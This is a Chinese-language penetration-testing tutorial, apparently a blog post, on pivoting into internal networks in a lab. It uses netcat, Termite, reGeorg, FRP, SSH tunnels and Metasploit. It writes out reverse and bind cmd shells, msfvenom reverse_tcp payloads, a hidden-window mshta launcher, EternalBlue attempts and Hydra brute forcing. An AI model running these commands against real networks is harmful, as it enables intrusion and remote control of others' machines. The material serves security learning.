002--使用代理工具实现纵向渗透

利用代理工具将内网的流量代理到本地进行访问,这样方便我们对内网进行纵向渗透。代理工具区分为正向代理和反向代理。正向代理就是将流量发送代理设备,由他代替本地主机去访问内网目标;一般情况下防火墙不会允许外网机器随意访问内网,由内网主机主动交出权限到代理机器,然后本地去连接代理机器,形成反向代理。

代理的本质是Socks协议,Socks协议又叫做防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:

SOCKS4支持TELNET、FTP、HTTP等TCP协议;
SOCKS5支持TCP与UDP,并支持安全认证方案
Ps: Socks不支持ICMP,不能使用ping命令

转发工具:NC、LCX、regGorg、venom、ngrock…
代理链工具:proxychains(Linux)、proxifier(windows)…


一、代理工具

1.LCX

LCX的使用方法在提权的时候已经写过。传送门:端口转发工具lcx


2.NetCat

NetCat,简称NC。除开端口转发以下还对NC的端口探测、文件传输、通信功能做了简单的演示:
NetCat 官方地址:http://netcat.sourceforge.net/

2.1 端口转发

①正向连接
绑定服务器的cmdshell在vps的端口然后本地连接。场景一:目标在wai网攻击机在内网。
第一步:服务器(192.168.1.98)执行命令将cmdshell绑定在本地5555端口上

nc -l -p 5555 -t -e cmd.exe
# -t是通过telnet模式执行 cmd.exe 程序,可省略

第二步:在本地内网主动连接服务器的5555端口,可直接获取目标的cmdshell

nc -nvv 192.168.1.98 5555

在这里插入图片描述
②反向连接
绑定服务器的cmdshell并反向连接到vps(192.168.1.4)的TCP端口。场景二:目标在内网,通过VPS连接目标主机
第一步:vps开启监听

nc -lp 5555

第二步:服务器内网链接vps 5555端口,主动交出自己的cmdshell

nc -t -e cmd.exe 192.168.1.4 5555

在这里插入图片描述

2.2 端口探测

NC可以作为客户端工具对目标进行端口探测:

nc -vz -w 2 192.168.1.10 9999
# -v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字

在这里插入图片描述使用NC工具扫描连续端口,这个功能可以用来扫描服务器端口:

nc -vzw 2 192.168.1.10 9998-9999

在这里插入图片描述

2.3 文件传输

NC传输文件和代理端口一样有正向和反向两种方式。
① 正向传输:服务器先侦听端口,本地向服务器所在机器的该端口发送数据

#服务器启动监听,将9995端口接收到的数据都写到test文件里
nc -l -p 9995 > test
#本地往服务器的9995端口发送数据
nc 192.168.1.4 9995 < 1.txt

在这里插入图片描述
② 反向传输:本地启动文件发送命令,服务器主动连接下载文件

#本地启动文件发送命令,通过9992端口发送文件
nc -l -p 9992 < 1.php
#服务器执行命令下载192.168.1.10:9992端口文件,并把文件存到当前目录文件夹2.php
nc 192.168.1.10 9992 >2.php

vps本地监听,服务器连接vps可以将文件下载到服务器,对于服务器来说这是出去的流量,可利用此特性躲避防火墙。
在这里插入图片描述

2.4 NC通信

#开启监听
nc -l -p 12345
#连接。形成聊天室,不加密
nc 192.168.1.10 12345

在这里插入图片描述


3.Termite工具

#作者的教学视频:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
http://rootkiter.com/toolvideo/toolmp4/5file.mp4
#项目地址: 
http://rootkiter.com/Termite

Termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便。程序分为两部分,admin(控制端)和agent(为代理端节点),admin和agent所有选项用途均一致:

 -l 指定本地socks端口,等待远程连接
 -c 指定远程socks机器ip
 -p 指定远程socks机器端口

3.1 本地模拟环境

在这里插入图片描述
要实现的最终目的:通过Termite工具代理使物理机灵活穿梭于目标内网(目前物理机只能和windows 2008 桥接模式通信)

3.2 正向连接

①win2008本地监听

agent_win32.exe -l 6666

②win 7 本地监听

agent_win32.exe -l 7777

③xp 本地监听

agent_win32.exe -l 8888

④物理机连接win 2008

admin_Win32.exe -c 192.168.1.10 -p 6666

在这里插入图片描述
⑤通过域win08建立的隧道连接win 7

#连接win08成功后查看连接的隧道会话
show
#进入08的会话
goto 1
#连接win 7
connect 192.168.106.129 7777

在这里插入图片描述
⑥连接XP

#进去win7的会话
goto 2
#连接xp1
connect 169.254.228.204 8888

在这里插入图片描述
⑦成功建立隧道。开始执行命令:

# 传送文件。将本地c:\unintall.log文件传送到目标服务器命名为1.txt
goto 5
upfile c:\unintall.log 1.txt

在这里插入图片描述

#调用shell,将目标机器cmd shell转发到本地12345端口
shell 12345 
#nc连接,得到cmdshell
nc 127.0.0.1 12345 

在这里插入图片描述

#端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
lcxtran 1189 192.168.1.10 3389
#socket代理
#配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
socks 1080

3.3 反向连接

反向连接用于穿透防火墙

#win7保持监听
agent_Win32.exe -l 7777
#xp反向连接到win7
agent_Win32.exe -c 169.254.75.233 -p 7777
#win8保持监听
agent_Win32.exe -l 6666
#win7反向连接08
agent_Win32.exe -c 192.168.106.128 -p 6666
#此时xp、win7都已经主动上交了权限,物理机控制08就可以直接建立隧道
admin_Win32.exe -c 192.168.1.10 -p 6666

在这里插入图片描述


4.venom工具

一款使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
venom工具之前也有写过,传送门:Venom穿透内网


5.reGeorg+Proxychains

reGeorg项目地址:https://github.com/sensepost/reGeorg

5.1 上传脚本

上传脚本文件到服务器,访问地址出现“Georg says, ‘All seems fine’”表示脚本正常运行。本地测试php脚本不能正常运行
在这里插入图片描述

5.2 进行转发

python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx

在这里插入图片描述
确认端口开启:
在这里插入图片描述

5.3 修改socket代理端口

vi /etc/proxychains.conf
#修改代理端口为12345

5.4 远程连接

使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。这里是直接3389上去的

proxychains rdesktop 192.168.1.10

在这里插入图片描述

6.ngrock

ngrock穿透内网


7.FRP

项目地址

https://github.com/fatedier/frp/releases
#frpc客户端,frps服务端

环境:
kali:192.168.1.3
win2008:192.168.1.10

7.1 正向代理

客户端设置:
①下载安装

wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz
tar -zxvf frp_0.33.0_darwin_amd64.tar.gz

②配置文件
vi frps.ini

[common]
bind_port = 7000
dashboard_port = 7500
token = 123.com
dashboard_user = admin
dashboard_pwd = admin
  • bind_port表示用于客户端和服务端连接的端口
  • dashboard_port是服务端仪表板的端口,若使用7500端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7500查看frp服务运行信息
  • token是用于客户端和服务端连接的口令
  • dashboard_user、dashboard_pwd分别表示打开仪表板页面登录的用户名和密码

③运行开启监听

./frps -c ./frps.ini
#也可以使用nohup命令将其运行在后台
nohup ./frps -c frps.ini &

在这里插入图片描述客户端设置:
服务端监听成功之后,目标内网设备执行frp进行主动连接。
①编辑frpc.ini,修改配置

[common]
#服务端IP
server_addr = 192.168.1.3  
#服务端端口
server_port = 7000  		
#token值
token = 123.com

[rdp]
type = tcp
local_ip = 127.0.0.1           
local_port = 3389
remote_port = 7001
  
[smb]
type = tcp
local_ip = 127.0.0.1
local_port = 445
remote_port = 7002

②运行连接

cd C:\frp
frpc.exe -c frpc.ini

在这里插入图片描述
也可以直接使用批处理文件运行

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
cd C:\frp
frpc.exe -c frpc.ini
exit

③成功建立连接
在这里插入图片描述已通过配置已经将内网的3389端口转发到vps的7001端口。此时远程连接127.0.0.1:7001即可远程连接内网的3389主机,完成端口转发
在这里插入图片描述


7.2 反向代理

参考:https://blog.csdn.net/qq_38228830/article/details/85955955

环境:

kali:192.168.109.128
Win2008:192.168.1.10
vps:x.x.x.x

①服务端配置

#frp服务端与客户端连接端口,frps和frpc必须一致
bind_port = 7000

②服务端启动frp

 ./frps -c ./frps.ini

在这里插入图片描述③客户端配置
vi frpc.ini

[common]
server_addr = x.x.x.x     #你的云主机ip
server_port = 7000        # frpc工作端口,必须和上面frps保持一致
 
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5000            #转发给本机的5555
remote_port = 6000         #服务端用6000端口转发给本机 

④客户端启动

 ./frpc -c ./frpc.ini

在这里插入图片描述连接成功:
在这里插入图片描述
⑥msf生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 -f exe x>frp.exe

注意:

  • lhost:必需设置为vps服务端ip
  • lport:设置你在frpc.ini的remote_port = 6000

只有通过服务器的6000端口数据包才能成功转发kali,这也是使用frp反向代理原因。制作好后将payload发送到目标Windows上

⑦msf开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1#设置监听ip,必须和frpc中的local_ip 一致
set lport 5000 #设置监听端口,与frpc中的local_port一致
run

⑧Windows运行payload,msf上线。此时:
云主机:
在这里插入图片描述
msf上线效果:
在这里插入图片描述


二、SSH代理穿透内网

实验环境:
在这里插入图片描述
1.假设kali无法访问Windows 2008(实际kali为nat模式是可以访问所有网段的)
2.利用红帽进行端口转发使kali能够访问到Windows 2008
3.正向连接:将内网端口转发出来访问
反向连接:将本地端口转发到内网


1.SSH正向代理

①kali(192.168.198.128)连接红帽192.168.198.131,同时将内网主机192.168.1.10的8001端口转发到本地kali 192.168.198.128 的8001上

ssh -L 192.168.198.128:8001:192.168.1.10:8001 root@192.168.198.131 -p 22
#-L后面的IP是kali本地IP,可省略不写
#当跳板机红帽的ssh端口为默认端口22时,也可省略不写
#需要知道红帽的账号及密码

在这里插入图片描述
②转发成功,这样kali在访问本机的8001端口,通过SSH服务器红帽端口转发后,实际访问的就是服务器Windows2008的8001端口。注意,在进行转发的时候语句L后面的IP省略不写,那么访问127.0.0.1:8001即可,如果写了IP,就必须访问IP地址:192.168.198.128:8001
在这里插入图片描述


2.ssh反向代理

将kali本地端口镜像转发到红帽,所有访问SSH服务器(红帽)的镜像端口即是访问kali的端口。

① kali开启80 http服务

/etc/init.d/apache2 start

在这里插入图片描述②kali连接红帽。把kali(192.168.198.128:80)端口映射给ssh服务器(红帽192.168.198.131)8001端口

ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22
#如果SSH服务器默认ssh端口为22,则"-p 22"可省略
#需要知道红帽的账号及密码

③成功把kali的http 端口转发和红帽的8001端口

在这里插入图片描述
此时的红帽:
在这里插入图片描述
④这里将kali的80端口转发到红帽的8001上,但是只监听在127.0.0.1上,内网其他主机仍然无法访问。还需要继续转发,将127.0.0.1:8001转发到192.168.106.131:8001
在这里插入图片描述


3.ssh配置socket代理

①kali连接红帽

ssh -D 8081 root@192.168.198.131 -p 22

在这里插入图片描述
②连接成功,此时kali已经开启8081 socket代理端口:
在这里插入图片描述③修改代理端口

vi /etc/proxychains.conf
#修改代理端口为8081

在这里插入图片描述
④使用proxychain 来扫描socket代理的内网

proxychains nmap 192.168.1.1/24
#使用proxychains工具驱动nmap扫描内网。通过socks代理扫描到本身扫描不到的内网网段

在这里插入图片描述
通与不通就缺了一个socks代理,我太爱proxychains了:
在这里插入图片描述


三、MSF穿越多级网络

网络环境:
在这里插入图片描述
①生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe

②建立监听,返回会话

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 1122
run

在这里插入图片描述③发现存在75网段,对该网段进行纵向渗透。添加192.168.75.x段网段静态路由

run autoroute -s 192.168.75.0/24

在这里插入图片描述
④对192.168.75.x网段进行主机存活扫描,此时在MSF各个模块已经可以访问75网段

run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24

在这里插入图片描述
⑤挂起会话,对目标win7(192.168.75.131)进行攻击

#对75网段进行全端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.75.131
set ports 1-65535
setg threads 50
run

这个端口扫描模块耗时比较长,如果目标开启防火墙就探测不到
在这里插入图片描述
⑥本地设置socket代理,目的是让MSF以外的工具也能与目标内网连接:
前面添加了路由,使msf中的所有模块可以用meterpreter作为代理访问到192.168.75.x段。现在开启sockets4代理,然后配合proxychains盘活kali里面除MSF以外的其他工具。利用挂起的会话建立代理:

use auxiliary/server/socks4a 
set srvhost 127.0.0.1
set rport 1080 #注意避免端口冲突
run

在这里插入图片描述
成功启用代理,查看端口:
在这里插入图片描述

#配置代理
vi /etc/proxychains.conf
socks4  127.0.0.1 1080

配置完成后即可使用proxychains配合其他工具对目标进行下一步渗透。socks4版本协议不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

nmap扫描

#nmap扫描
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131

在这里插入图片描述

proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131

在这里插入图片描述MSF漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.131
#因为直连没有返回的流量所以不能用默认的reverse payload。
#直连是在目标上面开一个端口然后本地去连接
set payload windows/x64/meterpreter/bind_tcp 
run

在这里插入图片描述漏洞利用失败。为了加强效果节目效果专门搞了个XP:192.168.75.132

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.132
set payload windows/meterpreter/bind_tcp 
run

漏洞依然利用失败,放弃。
在这里插入图片描述
如果拿下75网段shell且发现目标有也存在双网卡,假如存在76网段,此时可以继续添加静态路由,进一步纵向渗透。此时:

#配置路由
run autoroute -s 192.168.76.0/24
#验证能否连接
run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/24
#设置代理
use auxiliary/server/socks4a 
set srvhost 127.0.0.1
set srvport 1081  (避免端口冲突)
run

#配置代理,要在1080端口下面再配置一个socket代理子啊1081端口上
vi /etc/proxychains.conf
socks4  127.0.0.1 1080
socks4  127.0.0.1 1081
#nmap扫描,这里建立了两层链路。从127.0.0.1:1080>127.0.0.1:1081>192.168.76.*
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24

建立socks会话后,利用proxychains工具驱动其他软件可以对网段扫描、爆破、嗅探、漏洞探测及利用。进行横向渗透。也可以直接用msf里面的模块直接渗透(msf不需要proxychains驱动)

Hydra爆破

proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb

在这里插入图片描述爆破成功后,将远程目标机的端口转发到本地攻击
1.端口转发

portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389

2.远程连接

rdesktop 192.168.1.5:33890

在这里插入图片描述也可以不使用端口转发直接连接
在这里插入图片描述

 #linux远程登录
 proxychains ssh root@192.168.75.131

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值